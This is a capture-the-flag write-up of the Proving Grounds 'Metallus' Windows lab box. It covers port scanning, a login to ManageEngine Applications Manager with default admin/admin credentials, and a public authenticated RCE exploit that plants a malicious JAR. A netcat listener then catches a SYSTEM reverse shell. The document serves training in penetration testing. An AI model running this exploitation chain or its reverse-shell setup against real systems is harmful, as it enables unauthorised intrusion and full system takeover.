Offensive Security – Proving Grounds – Metallus Write-up – No Metasploit

Offensive security has released an easy box offered in the practice section of the Proving Grounds. This Windows box is named Metallus. Lets see if we can get root on this one.


Starting with some initial enumeration.

Nmap scan -Pn to ignore ping check, -sV to check versions, -sC to run all scripts, and -oA output results in all formats.

kali@kali:~/oscp/offsec/metallus$ nmap -Pn -sV -sC -oA simple
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( ) at 2020-12-11 21:35 EST
Nmap scan report for
Host is up (0.066s latency).
Not shown: 996 filtered ports
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
12000/tcp open  cce4x?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02:                                                                                                       
|_    Message signing enabled but not required                                                                  
| smb2-time:                                                                                                    
|   date: 2020-12-12T02:37:54
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 208.89 seconds

Nothing super obvious. Lets kicked off a full TCP scan while checking out these services in more detail. Port 443 and 12000 didn’t lead anywhere.

kali@kali:~/oscp/offsec/metallus$ nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oA full
Nmap scan report for
Host is up, received user-set (0.066s latency).
Scanned at 2020-12-11 15:46:19 EST for 677s
Not shown: 65516 filtered ports
Reason: 65516 no-responses
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack
5040/tcp  open  unknown       syn-ack
7680/tcp  open  pando-pub?    syn-ack
12000/tcp open  cce4x?        syn-ack
22222/tcp open  ssh           syn-ack OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 e5:92:a8:a8:57:16:73:42:1a:9b:c2:f2:e3:bd:8a:76 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPRX/k9OawrX2MoDMvpP4AxvlThR+kYfdnKc5cAG1+U8UMoQkVJHlXZtFeFaaCSydgVbydrV
|   256 71:16:46:72:7a:05:c9:77:4e:c5:96:43:96:31:a6:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJP6P3lKM0ZhbP6fzT5Xsva0PlhH5/9T7Um8xV
|   256 e3:42:cf:ff:ba:71:ff:27:09:fa:4d:d5:52:99:59:9c (ED25519)
40443/tcp open  unknown       syn-ack
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Set-Cookie: JSESSIONID_APM_40443=1A6D3431E8E9C0416631EB031264A51F; Path=/; HttpOnly
|     Accept-Ranges: bytes
|     ETag: W/"261-1591076589000"
|     Last-Modified: Tue, 02 Jun 2020 05:43:09 GMT
|     Content-Type: text/html
|     Content-Length: 261
|     Date: Fri, 11 Dec 2020 20:48:24 GMT
|     Connection: close
|     Server: AppManager
|     <!-- $Id$ -->
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|     <html>
|     <head>
|     <!-- This comment is for Instant Gratification to work -->
|     <script>
|"/webclient/common/jsp/home.jsp", "_top");
|     </script>
|     </head>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 403 
|     Set-Cookie: JSESSIONID_APM_40443=BF9C415F97B42D70E2C8EE5A27EB12A0; Path=/; HttpOnly
|     Cache-Control: private
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=UTF-8
|     Content-Length: 1810
|     Date: Fri, 11 Dec 2020 20:48:24 GMT
|     Connection: close
|     Server: AppManager
|     <meta http-equiv="X-UA-Compatible" content="IE=edge">
|     <meta http-equiv="Content-Type" content="UTF-8">
|     <!--$Id$-->
|     <html>
|     <head>
|     <title>Applications Manager</title>
|     <link REL="SHORTCUT ICON" HREF="/favicon.ico">
|     </head>
|     <body style="background-color:#fff;">
|     <style type="text/css">
|     #container-error
|     border:1px solid #c1c1c1;
|     background: #fff; font:11px Arial, Helvetica, sans-serif; width:90%; margin:80px;
|     #header-error
|     background: #ededed; line-height:18px;
|     padding: 15px; color:#000; font-size:8px;
|     #header-error h1
|     margin: 0; color:#000;
|     font-
|   RTSPRequest: 
|     HTTP/1.1 505 
|     vary: accept-encoding
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 2142
|     Date: Fri, 11 Dec 2020 20:48:25 GMT
|     Server: AppManager
|     <!doctype html><html lang="en"><head><title>HTTP Status 505 
|_    HTTP Version Not Supported</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:whi
te;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-colo
r:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-siz
e:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Ar
ial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;co
lor:black;font-size:12px;} a {color:black;} {color:black;} .line {height:1px;background-color:#
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  tcpwrapped    syn-ack
49693/tcp open  java-rmi      syn-ack Java RMI
49724/tcp open  unknown       syn-ack
49796/tcp open  unknown       syn-ack
| fingerprint-strings: 
|   TerminalServerCookie: 
49797/tcp open  unknown       syn-ack
| fingerprint-strings: 
|   TerminalServerCookie: 

Okay, so now we have some interesting ports to check out. SSH on port 22222 looks interesting, but even better is a web server on 40443.

Navigating to the page we see “Applications Manager”.

Immediately noticeable is the build number that is installed. Lets take note of this.

Before digging into the build number lets look up default credentials for this application.

Google says user “admin” and password “admin” eh? Lets give that a shot.

Nice! So this opens up some possibilities, but there is tons to dig into. Before digging into the application lets go back and check on that build number we enumerated.

kali@kali:~/oscp/offsec/metallus$ searchsploit applications manager
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
DMXReady Secure Login Manager 1.0 - '/applications/SecureLoginManager/inc_sec | asp/webapps/29361.txt
Manage Engine Applications Manager 12 - Multiple Vulnerabilities              | multiple/webapps/39235.txt
ManageEngine Applications Manager - (Authenticated) Code Execution (Metasploi | windows/remote/17152.rb
ManageEngine Applications Manager - Multiple Cross-Site Scripting / SQL Injec | java/webapps/37557.txt
ManageEngine Applications Manager - Multiple SQL Injections                   | java/webapps/37555.txt
ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code E | windows/remote/46725.rb
ManageEngine Applications Manager 13 - 'MenuHandlerServlet' SQL Injection     | java/webapps/
ManageEngine Applications Manager 13 - SQL Injection                          | windows/webapps/43129.txt
ManageEngine Applications Manager 13.5 - Remote Code Execution (Metasploit)   | java/webapps/44274.rb
ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Comma | multiple/remote/46740.rb
ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticate | java/webapps/
ManageEngine Applications Manager Build 12700 - Multiple Vulnerabilities      | jsp/webapps/39780.txt
ManageEngine OpManager / Applications Manager / IT360 - 'FailOverServlet' Mul | multiple/webapps/43894.txt
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Alright! We have one exploit that matches the build exactly and it claims to allow remote code execution. Lets check out the exploit.

Weaponization and Delivery

kali@kali:~/oscp/offsec/metallus$ searchsploit -m java/webapps/
  Exploit: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)
     Path: /usr/share/exploitdb/exploits/java/webapps/
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /home/kali/oscp/offsec/metallus/

Code snippets of interest:

Thank you for all the great comments within the code. From the title we see the exploit requires authentication. Check.

# Exploit Title: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)

The function flow is also interesting. This shows the exploit generates the payload, exploits the service and runs the payload.

# Function flow:
# 1. Get initial cookie
# 2. Get valid session cookie by logging in
# 3. Get base directory of installation
# 4. Generate a malicious JAR file
# 5. Attempt to directly upload JAR, if success, jump to 7
# 6. Create task with random ID to copy JAR file to expected Weblogic location
# 7. Execute task
# 8. Delete task for cleanup
# 9. Run the vulnerable credentialTest, using the malicious JAR

Last, lets check out the usage.

kali@kali:~/oscp/offsec/metallus$ sudo python3 
[*] Usage: <url> <username> <password> <reverse_shell_host> <reverse_shell_port>
[*] Example: admin admin 6666

*Note: Always review the entire exploit code for obfuscated shellcode. (None in this one.)


Alright lets give this a shot. Start listener on 443

kali@kali:~$ sudo nc -lvnp 443                                                                              
listening on [any] 443 ...                                                                                  
connect to [] from (UNKNOWN) [] 49820                                           
Microsoft Windows [Version 10.0.18362.1082]                                                                 
(c) 2019 Microsoft Corporation. All rights reserved.

Execute exploit.

kali@kali:~/oscp/offsec/metallus$ sudo python3 admin admin 443
[*] Visiting page to retrieve initial cookies...
[*] Retrieving admin cookie...
[*] Getting base directory of ManageEngine...
[*] Found base directory: C:\Program Files\ManageEngine\AppManager14
[*] Creating JAR file...
warning: [options] source value 7 is obsolete and will be removed in a future release
warning: [options] target value 7 is obsolete and will be removed in a future release
warning: [options] To suppress warnings about obsolete options, use -Xlint:-options.
3 warnings
added manifest
adding: weblogic/jndi/Environment.class(in = 1844) (out= 1099)(deflated 40%)
[*] Uploading JAR file...
[*] Attempting to upload JAR directly to targeted Weblogic folder...
[!] Failed to upload JAR directly, continue to add and execute job to move JAR...
[*] Creating a task to move the JAR file to relative path: classes/weblogic/version8/...
[*] Found actionname: move_weblogic_jar1054 with found actionid 10000003
[*] Executing created task with id: 10000003 to copy JAR...
[*] Task 10000003 has been executed successfully
[*] Deleting created task as JAR has been copied...
[*] Running the Weblogic credentialtest which triggers the code in the JAR...
[*] Check your shell...

Checking back on the netcat listener.

kali@kali:~$ sudo nc -lvnp 443
[sudo] password for kali: 
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49819
Microsoft Windows [Version 10.0.18362.1082]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\ManageEngine\AppManager14\working>

We have a reverse shell!

C:\Program Files\ManageEngine\AppManager14\working>whoami
nt authority\system

C:\Program Files\ManageEngine\AppManager14\working>cd c:\Users\Administrator
cd c:\Users\Administrator

c:\Users\Administrator>type Desktop\proof.txt
type Desktop\proof.txt

Not only a reverse shell, but we are system. Just navigate to the Administrator desktop and grab the flag.


In conclusion, the machine ended up having a simple out of date application that lead to remote code execution. The exploit was easy to use and was well documented to help the user know what to expect and what was happening during execution.

Keep your applications up to date and change those default credentials. Until next time, stay safe in the Trenches of IT.

Leave a Reply